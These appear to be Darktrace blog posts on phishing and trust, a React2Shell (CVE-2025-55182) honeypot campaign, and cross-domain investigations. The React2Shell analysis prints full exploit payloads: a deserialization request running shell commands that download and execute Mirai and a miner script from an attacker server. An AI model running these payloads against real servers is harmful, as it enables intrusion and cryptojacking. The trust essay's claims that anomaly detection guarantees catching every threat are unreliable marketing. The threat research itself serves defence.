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July 18, 2023

Understanding Email Security & the Psychology of Trust

We explore how psychological research into the nature of trust relates to our relationship with technology - and what that means for AI solutions.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
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18
Jul 2023

When security teams discuss the possibility of phishing attacks targeting their organization, often the first reaction is to assume it is inevitable because of the users. Users are typically referenced in cyber security conversations as organizations’ greatest weaknesses, cited as the causes of many grave cyber-attacks because they click links, open attachments, or allow multi-factor authentication bypass without verifying the purpose.

While for many, the weakness of the user may feel like a fact rather than a theory, there is significant evidence to suggest that users are psychologically incapable of protecting themselves from exploitation by phishing attacks, with or without regular cyber awareness trainings. The psychology of trust and the nature of human reliance on technology make the preparation of users for the exploitation of that trust in technology very difficult – if not impossible.

This Darktrace long read will highlight principles of psychological and sociological research regarding the nature of trust, elements of the trust that relate to technology, and how the human brain is wired to rely on implicit trust. These principles all point to the outcome that humans cannot be relied upon to identify phishing. Email security driven by machine augmentation, such as AI anomaly detection, is the clearest solution to tackle that challenge.

What is the psychology of trust?

Psychological and sociological theories on trust largely centre around the importance of dependence and a two-party system: the trustor and the trustee. Most research has studied the impacts of trust decisions on interpersonal relationships, and the characteristics which make those relationships more or less likely to succeed. In behavioural terms, the elements most frequently referenced in trust decisions are emotional characteristics such as benevolence, integrity, competence, and predictability.1

Most of the behavioural evaluations of trust decisions survey why someone chooses to trust another person, how they made that decision, and how quickly they arrived at their choice. However, these micro-choices about trust require the context that trust is essential to human survival. Trust decisions are rooted in many of the same survival instincts which require the brain to categorize information and determine possible dangers. More broadly, successful trust relationships are essential in maintaining the fabric of human society, critical to every element of human life.

Trust can be compared to dark matter (Rotenberg, 2018), which is the extensive but often difficult to observe material that binds planets and earthly matter. In the same way, trust is an integral but often a silent component of human life, connecting people and enabling social functioning.2

Defining implicit and routine trust

As briefly mentioned earlier, dependence is an essential element of the trusting relationship. Being able to build a routine of trust, based on the maintenance rather than establishment of trust, becomes implicit within everyday life. For example, speaking to a friend about personal issues and life developments is often a subconscious reaction to the events occurring, rather than an explicit choice to trust said friend each time one has new experiences.

Active and passive levels of cognition are important to recognize in decision-making, such as trust choices. Decision-making is often an active cognitive process requiring a lot of resource from the brain. However, many decisions occur passively, especially if they are not new choices e.g. habits or routines. The brain’s focus turns to immediate tasks while relegating habitual choices to subconscious thought processes, passive cognition. Passive cognition leaves the brain open to impacts from inattentional blindness, wherein the individual may be abstractly aware of the choice but it is not the focus of their thought processes or actively acknowledged as a decision. These levels of cognition are mostly referenced as “attention” within the brain’s cognition and processing.3

This idea is essentially a concept of implicit trust, meaning trust which is occurring as background thought processes rather than active decision-making. This implicit trust extends to multiple areas of human life, including interpersonal relationships, but also habitual choice and lifestyle. When combined with the dependence on people and services, this implicit trust creates a haze of cognition where trust is implied and assumed, rather than actively chosen across a myriad of scenarios.

Trust and technology

As researchers at the University of Cambridge highlight in their research into trust and technology, ‘In a fundamental sense, all technology depends on trust.’  The same implicit trust systems which allow us to navigate social interactions by subconsciously choosing to trust, are also true of interactions with technology. The implied trust in technology and services is perhaps most easily explained by a metaphor.

Most people have a favourite brand of soda. People will routinely purchase that soda and drink it without testing it for chemicals or bacteria and without reading reviews to ensure the companies that produce it have not changed their quality standards. This is a helpful, representative example of routine trust, wherein the trust choice is implicit through habitual action and does not mean the person is actively thinking about the ramifications of continuing to use a product and trust it.

The principle of dependence is especially important in trust and technology discussions, because the modern human is entirely reliant on technology and so has no way to avoid trusting it.5   Specifically important in workplace scenarios, employees are given a mandatory set of technologies, from programs to devices and services, which they must interact with on a daily basis. Over time, the same implicit trust that would form between two people forms between the user and the technology. The key difference between interpersonal trust and technological trust is that deception is often much more difficult to identify.

The implicit trust in workplace technology

To provide a bit of workplace-specific context, organizations rely on technology providers for the operation (and often the security) of their devices. The organizations also rely on the employees (users) to use those technologies within the accepted policies and operational guidelines. The employees rely on the organization to determine which products and services are safe or unsafe.

Within this context, implicit trust is occurring at every layer of the organization and its technological holdings, but often the trust choice is only made annually by a small security team rather than continually evaluated. Systems and programs remain in place for years and are used because “that’s the way it’s always been done. Within that context, the exploitation of that trust by threat actors impersonating or compromising those technologies or services is extremely difficult to identify as a human.

For example, many organizations utilize email communications to promote software updates for employees. Typically, it would consist of email prompting employees to update versions from the vendors directly or from public marketplaces, such as App Store on Mac or Microsoft Store for Windows. If that kind of email were to be impersonated, spoofing an update and including a malicious link or attachment, there would be no reason for the employee to question that email, given the explicit trust enforced through habitual use of that service and program.

Inattentional blindness: How the brain ignores change

Users are psychologically predisposed to trust routinely used technologies and services, with most of those trust choices continuing subconsciously. Changes to these technologies would often be subject to inattentional blindness, a psychological phenomenon wherein the brain either overwrites sensory information with what the brain expects to see rather than what is actually perceived.

A great example of inattentional blindness6 is the following experiment, which asks individuals to count the number of times a ball is passed between multiple people. While that is occurring, something else is going on in the background, which, statistically, those tested will not see. The shocking part of this experiment comes after, when the researcher reveals that the event occurring in the background not seen by participants was a person in a gorilla suit moving back and forth between the group. This highlights how significant details can be overlooked by the brain and “overwritten” with other sensory information. When applied to technology, inattentional blindness and implicit trust makes spotting changes in behaviour, or indicators that a trusted technology or service has been compromised, nearly impossible for most humans to detect.

With all this in mind, how can you prepare users to correctly anticipate or identify a violation of that trust when their brains subconsciously make trust decisions and unintentionally ignore cues to suggest a change in behaviour? The short answer is, it’s difficult, if not impossible.

How threats exploit our implicit trust in technology

Most cyber threats are built around the idea of exploiting the implicit trust humans place in technology. Whether it’s techniques like “living off the land”, wherein programs normally associated with expected activities are leveraged to execute an attack, or through more overt psychological manipulation like phishing campaigns or scams, many cyber threats are predicated on the exploitation of human trust, rather than simply avoiding technological safeguards and building backdoors into programs.

In the case of phishing, it is easy to identify the attempts to leverage the trust of users in technology and services. The most common example of this would be spoofing, which is one of the most common tactics observed by Darktrace/Email. Spoofing is mimicking a trusted user or service, and can be accomplished through a variety of mechanisms, be it the creation of a fake domain meant to mirror a trusted link type, or the creation of an email account which appears to be a Human Resources, Internal Technology or Security service.

In the case of a falsified internal service, often dubbed a “Fake Support Spoof”, the user is exploited by following instructions from an accepted organizational authority figure and service provider, whose actions should normally be adhered to. These cases are often difficult to spot when studying the sender’s address or text of the email alone, but are made even more difficult to detect if an account from one of those services is compromised and the sender’s address is legitimate and expected for correspondence. Especially given the context of implicit trust, detecting deception in these cases would be extremely difficult.

How email security solutions can solve the problem of implicit trust

How can an organization prepare for this exploitation? How can it mitigate threats which are designed to exploit implicit trust? The answer is by using email security solutions that leverage behavioural analysis via anomaly detection, rather than traditional email gateways.

Expecting humans to identify the exploitation of their own trust is a high-risk low-reward endeavour, especially when it takes different forms, affects different users or portions of the organization differently, and doesn’t always have obvious red flags to identify it as suspicious. Cue email security using anomaly detection as the key answer to this evolving problem.

Anomaly detection enabled by machine learning and artificial intelligence (AI) removes the inattentional blindness that plagues human users and security teams and enables the identification of departures from the norm, even those designed to mimic expected activity. Using anomaly detection mitigates multiple human cognitive biases which might prevent teams from identifying evolving threats, and also guarantees that all malicious behaviour will be detected. Of course, anomaly detection means that security teams may be alerted to benign anomalous activity, but still guarantees that no threat, no matter how novel or cleverly packaged, won’t be identified and raised to the human security team.

Utilizing machine learning, especially unsupervised machine learning, mimics the benefits of human decision making and enables the identification of patterns and categorization of information without the framing and biases which allow trust to be leveraged and exploited.

For example, say a cleverly written email is sent from an address which appears to be a Microsoft affiliate, suggesting to the user that they need to patch their software due to the discovery of a new vulnerability. The sender’s address appears legitimate and there are news stories circulating on major media providers that a new Microsoft vulnerability is causing organizations a lot of problems. The link, if clicked, forwards the user to a login page to verify their Microsoft credentials before downloading the new version of the software. After logging in, the program is available for download, and only requires a few minutes to install. Whether this email was created by a service like ChatGPT (generative AI) or written by a person, if acted upon it would give the threat actor(s) access to the user’s credential and password as well as activate malware on the device and possibly broader network if the software is downloaded.

If we are relying on users to identify this as unusual, there are a lot of evidence points that enforce their implicit trust in Microsoft services that make them want to comply with the email rather than question it. Comparatively, anomaly detection-driven email security would flag the unusualness of the source, as it would likely not be coming from a Microsoft-owned IP address and the sender would be unusual for the organization, which does not normally receive mail from the sender. The language might indicate solicitation, an attempt to entice the user to act, and the link could be flagged as it contains a hidden redirect or tailored information which the user cannot see, whether it is hidden beneath text like “Click Here” or due to link shortening. All of this information is present and discoverable in the phishing email, but often invisible to human users due to the trust decisions made months or even years ago for known products and services.

AI-driven Email Security: The Way Forward

Email security solutions employing anomaly detection are critical weapons for security teams in the fight to stay ahead of evolving threats and varied kill chains, which are growing more complex year on year. The intertwining nature of technology, coupled with massive social reliance on technology, guarantees that implicit trust will be exploited more and more, giving threat actors a variety of avenues to penetrate an organization. The changing nature of phishing and social engineering made possible by generative AI is just a drop in the ocean of the possible threats organizations face, and most will involve a trusted product or service being leveraged as an access point or attack vector. Anomaly detection and AI-driven email security are the most practical solution for security teams aiming to prevent, detect, and mitigate user and technology targeting using the exploitation of trust.

References

1https://www.kellogg.northwestern.edu/trust-project/videos/waytz-ep-1.aspx

2Rotenberg, K.J. (2018). The Psychology of Trust. Routledge.

3https://www.cognifit.com/gb/attention

4https://www.trusttech.cam.ac.uk/perspectives/technology-humanity-society-democracy/what-trust-technology-conceptual-bases-common

5Tyler, T.R. and Kramer, R.M. (2001). Trust in organizations : frontiers of theory and research. Thousand Oaks U.A.: Sage Publ, pp.39–49.

6https://link.springer.com/article/10.1007/s00426-006-0072-4

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research

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December 11, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, he spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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About the author
Nathaniel Bill
Malware Research Engineer

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December 8, 2025

Simplifying Cross Domain Investigations

simplifying cross domain thraetsDefault blog imageDefault blog image

Cross-domain gaps mean cross-domain attacks  

Organizations are built on increasingly complex digital estates. Nowadays, the average IT ecosystem spans across a large web of interconnected domains like identity, network, cloud, and email.  

While these domain-specific technologies may boost business efficiency and scalability, they also provide blind spots where attackers can shelter undetected. Threat actors can slip past defenses because security teams often use different detection tools in each realm of their digital infrastructure. Adversaries will purposefully execute different stages of an attack across different domains, ensuring no single tool picks up too many traces of their malicious activity. Identifying and investigating this type of threat, known as a cross-domain attack, requires mastery in event correlation.  

For example, one isolated network scan detected on your network may seem harmless at first glance. Only when it is stitched together with a rare O365 login, a new email rule and anomalous remote connections to an S3 bucket in AWS does it begin to manifest as an actual intrusion.  

However, there are a whole host of other challenges that arise with detecting this type of attack. Accessing those alerts in the respective on-premise network, SaaS and IaaS environments, understanding them and identifying which ones are related to each other takes significant experience, skill and time. And time favours no one but the threat actor.  

Anatomy of a cross domain attack
Figure 1: Anatomy of a cross domain attack

Diverse domains and empty grocery shelves

In April 2025, the UK faced a throwback to pandemic-era shortages when the supermarket giant Marks & Spencer (M&S) was crippled by a cyberattack, leaving empty shelves across its stores and massive disruptions to its online service.  

The threat actors, a group called Scattered Spider, exploited multiple layers of the organization’s digital infrastructure. Notably, the group were able to bypass the perimeter not by exploiting a technical vulnerability, but an identity. They used social engineering tactics to impersonate an M&S employee and successfully request a password reset.  

Once authenticated on the network, they accessed the Windows domain controller and exfiltrated the NTDS.dit file – a critical file containing hashed passwords for all users in the domain. After cracking those hashes offline, they returned to the network with escalated privileges and set their sights on the M&S cloud infrastructure. They then launched the encryption payload on the company’s ESXi virtual machines.

To wrap up, the threat actors used a compromised employee’s email account to send an “abuse-filled” email to the M&S CEO, bragging about the hack and demanding payment. This was possibly more of a psychological attack on the CEO than a technically integral part of the cyber kill chain. However, it revealed yet another one of M&S’s domains had been compromised.  

In summary, the group’s attack spanned four different domains:

Identity: Social engineering user impersonation

Network: Exfiltration of NTDS.dit file

Cloud: Ransomware deployed on ESXI VMs

Email: Compromise of user account to contact the CEO

Adept at exploiting nuance

This year alone, several high-profile cyber-attacks have been attributed to the same group, Scattered Spider, including the hacks on Victoria’s Secret, Adidas, Hawaiian Airlines, WestJet, the Co-op and Harrods. It begs the question, what has made this group so successful?

In the M&S attack, they showcased their advanced proficiency in social engineering, which they use to bypass identity controls and gain initial access. They demonstrated deep knowledge of cloud environments by deploying ransomware onto virtualised infrastructure. However, this does not exemplify a cookie-cutter template of attack methods that brings them success every time.

According to CISA, Scattered Spider typically use a remarkable variety of TTPs (tactics, techniques and procedures) across multiple domains to carry out their campaigns. From leveraging legitimate remote access tools in the network, to manipulating AWS EC2 cloud instances or spoofing email domains, the list of TTPs used by the group is eye-wateringly long. Additionally, the group reportedly evades detection by “frequently modifying their TTPs”.  

If only they had better intentions. Any security director would be proud of a red team who not only has this depth and breadth of domain-centric knowledge but is also consistently upskilling.  

Yet, staying ahead of adversaries who seamlessly move across domains and fluently exploit every system they encounter is just one of many hurdles security teams face when investigating cross-domain attacks.  

Resource-heavy investigations

There was a significant delay in time to detection of the M&S intrusion. News outlet BleepingComputer reported that attackers infiltrated the M&S network as early as February 2025. They maintained persistence for weeks before launching the attack in late April 2025, indicating that early signs of compromise were missed or not correlated across domains.

While it’s unclear exactly why M&S missed the initial intrusion, one can speculate about the unique challenges investigating cross-domain attacks present.  

Challenges of cross-domain investigation

First and foremost, correlation work is arduous because the string of malicious behaviour doesn’t always stem from the same device.  

A hypothetical attack could begin with an O365 credential creating a new email rule. Weeks later, that same credential authenticates anomalously on two different devices. One device downloads an .exe file from a strange website, while the other starts beaconing every minute to a rare external IP address that no one else in the organisation has ever connected to. A month later, a third device downloads 1.3 GiB of data from a recently spun up S3 bucket and gradually transfers a similar amount of data to that same rare IP.

Amid a sea of alerts and false positives, connecting the dots of a malicious attack like this takes time and meticulous correlation. Factor in the nuanced telemetry data related to each domain and things get even more complex.  

An analyst who specialises in network security may not understand the unique logging formats or API calls in the cloud environment. Perhaps they are proficient in protecting the Windows Active Directory but are unfamiliar with cloud IAM.  

Cloud is also an inherently more difficult domain to investigate. With 89% of organizations now operating in multi-cloud environments time must be spent collecting logs, snapshots and access records. Coupled with the threat of an ephemeral asset disappearing, the risk of missing a threat is high. These are some of the reasons why research shows that 65% of organisations spend 3-5 extra days investigating cloud incidents.  

Helpdesk teams handling user requests over the phone require a different set of skills altogether. Imagine a threat actor posing as an employee and articulately requesting an urgent password reset or a temporary MFA deactivation. The junior Helpdesk agent— unfamiliar with the exception criteria, eager to help and feeling pressure from the persuasive manipulator at the end of the phoneline—could easily fall victim to this type of social engineering.  

Empowering analysts through intelligent automation

Even the most skilled analysts can’t manually piece together every strand of malicious activity stretching across domains. But skill alone isn’t enough. The biggest hurdle in investigating these attacks often comes down to whether the team have the time, context, and connected visibility needed to see the full picture.

Many organizations attempt to bridge the gap by stitching together a patchwork of security tools. One platform for email, another for endpoint, another for cloud, and so on. But this fragmentation reinforces the very silos that cross-domain attacks exploit. Logs must be exported, normalized, and parsed across tools a process that is not only error-prone but slow. By the time indicators are correlated, the intrusion has often already deepened.

That’s why automation and AI are becoming indispensable. The future of cross-domain investigation lies in systems that can:

  • Automatically correlate activity across domains and data sources, turning disjointed alerts into a single, interpretable incident.
  • Generate and test hypotheses autonomously, identifying likely chains of malicious behaviour without waiting for human triage.
  • Explain findings in human terms, reducing the knowledge gap between junior and senior analysts.
  • Operate within and across hybrid environments, from on-premise networks to SaaS, IaaS, and identity systems.

This is where Darktrace transforms alerting and investigations. Darktrace’s Cyber AI Analyst automates the process of correlation, hypothesis testing, and narrative building, not just within one domain, but across many. An anomalous O365 login, a new S3 bucket, and a suspicious beaconing host are stitched together automatically, surfacing the story behind the alerts rather than leaving it buried in telemetry.

How threat activity is correlated in Cyber AI Analyst
Figure 2: How threat activity is correlated in Cyber AI Analyst

By analyzing events from disparate tools and sources, AI Analyst constructs a unified timeline of activity showing what happened, how it spread, and where to focus next. For analysts, it means investigation time is measured in minutes, not days. For security leaders, it means every member of the SOC, regardless of experience, can contribute meaningfully to a cross-domain response.

Figure 3: Correlation showcasing cross domains (SaaS and IaaS) in Cyber AI Analyst

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

What once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

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About the author
Benjamin Druttman
Cyber Security AI Technical Instructor
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